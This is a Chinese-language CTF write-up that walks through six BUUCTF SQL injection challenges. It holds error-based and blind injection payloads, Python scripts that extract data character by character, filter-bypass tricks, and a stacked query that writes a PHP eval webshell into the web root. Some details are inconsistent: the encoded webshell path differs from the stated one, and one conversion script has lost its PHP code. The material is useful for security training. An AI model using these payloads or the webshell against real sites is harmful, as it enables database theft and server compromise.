此帖子特意为BUU所以有关sql注入的题准备
以后复习也可以直接查看,那让我们直接开始吧!
Contents
[RCTF2015]EasySQL
打开后是一个注册和登录页面,根据题目提示 fuzz一波看看过滤了什么
在username和email过滤了字符
@ or and space substr mid left right handle hex
先注册一个账户看看
这里email过滤@属实有操作,我人都傻了
注册成功后登陆,
随便点点,发现可以修改密码
修改密码肯定是要调取数据库中的用户名,为了尝试出后台读取密码的 sql语句,我们尝试注册一个带有\‘“或其他sql常用符号的用户名然后进入这个页面看看有什么变化
发现没有任何变化,只能各种姿势都试试看了,先 普通修改一个密码看看
发现出现了回显
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\" and pwd='9cd6e045445480e4e5adaf4a9ec880cb'' at line 1”
这里因为发现password发现了加密了之前密码,所以这里不是注入点
猜测后台的语句应该是select *from users where username=”“and password =””
我们需要在用户名处着手输入,而用户名只有注册时有,我们只能根据注册用户名时构造sql注入语句,又因回显的是错误,我们尝试报错注入
之前fuzz因为用户名过滤了or 和空格我们这里使用||和括号绕过
username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.schemata)where(table_schema=database())),0x7e),1))#
再次修改密码是我们很明显发现这里弹出了我们需要的数据库名
表名:username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’flag’)),0x7e),1))#
然后我们发现,flag不在flag表里。。。。。。。。吐了
查一下users表:admin”||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’)),0x7e),1))#
发现有输出长度限制
这里过滤了hex函数,所以不能用hex输出,这里我们可以猜测出来flag的表名是real_flag_1s_here,查询数据
username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#
输出了一堆废物,我们尝试用regexp函数查找f开头的数据
username=admin”||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)),0x7e),1))#
发现只输出了一部分,substr函数和mid函数被ban了,不能截取字符,reverse取反在取回来即可
username=admin”||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),0x7e),1))#
1 2 3 4 5 | a='}72bcd11fe9a3-0139-2634-428d-bb' l = list(a) l.reverse() result = ''.join(l) print (result) |
得到flag
flag{9b9200bb-d824-4362-9310-3a9ef11dcb27}
[RoarCTF 2019]Online Proxy.
使用他给的参数测试无果,查看源码
xff构造发现存在sql注入(二次注入),写个脚本盲注一手
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import requests url = "http://node3.buuoj.cn:28102/" head = { "Cookie" : "track_uuid=64207489-fe28-4a0d-e5ae-ce37ec034e80", "X-Forwarded-For" : "" } result = "" for i in range(1,50): l = 33 j = 127 mid = (l+j)>>1 while(l<j): head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i,mid) r= requests.post(url, headers = head) head["X-Forwarded-For"] = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i, mid+1) r= requests.post(url, headers = head) r= requests.post(url, headers = head) if "Last Ip: 1" in r.text: l= mid+1 else: j=mid mid = (l+j)>>1 result+=chr(mid) print(result) print("table_name:"+result) #更改上面的注入方式即可注入出所有需要的东西 |
[GYCTF2020]Ezsqli
打开后只有一个登陆框,尝试fuzz后发现过滤了or,union select, or 且返回的是布尔值,思路需要布尔盲注
所以information_schema不能用了,这时候我们可以利用sys.schema_table_statistics这个表
测试后发现如果是正确会返回Nu1l
写个脚本跑一下表名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import requests flag='' url='http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php' link=0 for i in range(1,50): for j in range(32,128): payload = "1 && ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+"#" data={ 'id': payload } r=requests.post(url,data=data) if 'Nu1L' in r.text: flag+=chr(j) print(flag) break #表名f1ag_1s_h3r3_hhhhh |
神奇做法,猜测列名就叫flag,注入发现可以正确注入
预期解:无列明注入
我们知道sys.schema_table_statistics是无法查列名的,所以这个题需要用到,无列名注入
判断如下式子:
(select 其他列,’猜测的数据’) > (select * from users limit 1)
在这里由于表中只有一行数据,所以正好无需limit语句,而表中的列为主键和flag列两列,因此我们构造的判断条件即为:
(select 1,'{}’) > (select * from f1ag_1s_h3r3_hhhhh)
在写脚本的时候,只要按照ascii码从小到大的顺序进行猜解即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | import requests url = 'http://aa20606b-98fa-4cda-aa30-11cddab7f269.node3.buuoj.cn/index.php' x='' for j in range(1,50): for i in range(33,127): flag=x+chr(i) payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag) data={ 'id':payload } r = requests.post(url,data=data) if 'Nu1L' in r.text: x=x+chr(i-1) print(x) break #php用这个函数转换小写strtolower |
因为MYSQL不区分大小写,且大写的ASCII码值比小写的小,所以最后出来把flag转换一下小写,即可获得flag
注:看p3师傅的payload有其他解法,再好好理解一下
[NCTF2019]SQLi
这题和BJD2nd的简单注入差不多,脚本拿来改改直接用就行,不同的是这题过滤了大小写比较函数binary,所以判断这题密码只有大写或者小写。之前的脚本改改直接用就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import os import requests as req def ord2hex(string): result = '' for i in string: result += hex(ord(i)) result = result.replace('0x','') return '0x'+result url = "http://5a0f43d4-31db-4669-ae41-a57cd777be93.node3.buuoj.cn/" string = [ord(i) for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_/!|'] headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Connection':'keep-alive' } res = '' for i in range(50): for j in string: passwd = ord2hex('^'+res+chr(j)) passwd = '||passwd/**/REGEXP/**/{};\x00'.format(passwd) #print(passwd) data = { 'username':"\\", 'passwd':passwd } r = req.post(url, data=data, headers=headers,allow_redirects=False) if r.status_code==302: res += chr(j) print(res) break |
[Black Watch 入群题]Web
只有一个用户名界面和新闻界面,大概率猜测是sql注入题目,用户名处fuzz了半天也没有结果。后来发现在新闻界面查询有一个get传入的查询方式,这里就可能是sql注入点了,
fuzz一下发现过滤了union,空格好像也不太可以,又尝试异或注入发现
输入1^1^1返回正常
1^(1>2)^1报错
返回判定依据是正确返回title
写个脚本跑一下就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import requests import urllib import sys proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} url = "http://c473fce9-1dcd-4cbd-90d3-e53f403161a0.node3.buuoj.cn/backend/content_detail.php?id=" # payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={})^1".format(i,j) # admin,contents # payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),{},1))={})^1".format(i,j) # id,title,content,is_enable # payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{},1))={})^1".format(i,j) # id,username,password,is_enable # payload = payload = "1^(ascii(substr((select(group_concat(username))from(admin)),{},1))={})^1".format(i,j) # d20d81b6,0e4050ce # payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j) # d4187ce4,ed48f6b8 result = "" for i in range(1,100): for j in range(32,127): payload = "1^(ascii(substr((select(group_concat(password))from(admin)),{},1))={})^1".format(i,j) r = requests.get(url+payload,proxies=proxies) if "title" in r.text: result+=chr(j) print(result) |
然后就可以了
[SUCTF 2018]MultiSQL
考点是mysql预处理写入shell
登录后在ID处存在注入
fuzz后发现过滤了一吨函数,那肯定不是盲注或者简单的注入了。这里发现如果输入2^(1=1)^1返回正常,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()
绕过
需要执行的语句
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell.php';
写个脚本转ascii码
str="select '' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59)
传入?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,50,46,112,104,112,39,59);prepare query from @sql;execute query;
访问shell地址就有flag了。这题用的sql预处理,